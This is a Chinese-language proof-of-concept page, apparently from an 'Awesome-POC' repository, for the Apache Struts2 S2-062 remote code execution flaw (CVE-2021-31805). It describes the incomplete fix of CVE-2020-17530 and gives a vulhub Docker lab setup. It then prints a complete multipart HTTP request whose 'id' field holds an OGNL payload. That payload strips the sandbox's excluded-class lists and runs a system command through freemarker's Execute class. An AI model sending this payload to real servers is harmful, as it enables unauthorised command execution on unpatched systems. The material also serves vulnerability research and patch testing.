Awesome-POC/中间件漏洞/Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805.md
2024-12-18 10:47:51 +08:00

55 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
## 漏洞描述
该漏洞由于对 CVE-2020-17530 的修复不完整造成的CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 其中 x 的值用户可控时,用户再传入一个 `%{payload}` 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行,导致远程代码执行。
## 漏洞影响
```
Struts 2.0.0 - Struts 2.5.29
```
## 环境搭建
docker-compose.yml
```
version: '2'
services:
struts2:
image: vulhub/struts2:2.5.25
ports:
- "8080:8080"
```
环境启动后,访问 `http://your-ip:8080/index.action` 查看到首页。
![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217161107704.png)
## 漏洞复现
发送请求包
```php
POST / HTTP/1.1
Host: your-ip:8080
Content-Length: 829
Origin: http://your-ip:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Referer: http://your-ip:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en
------WebKitFormBoundary1OyBby784sBXbcK9
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary1OyBby784sBXbcK9--
```
![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217165407787.png)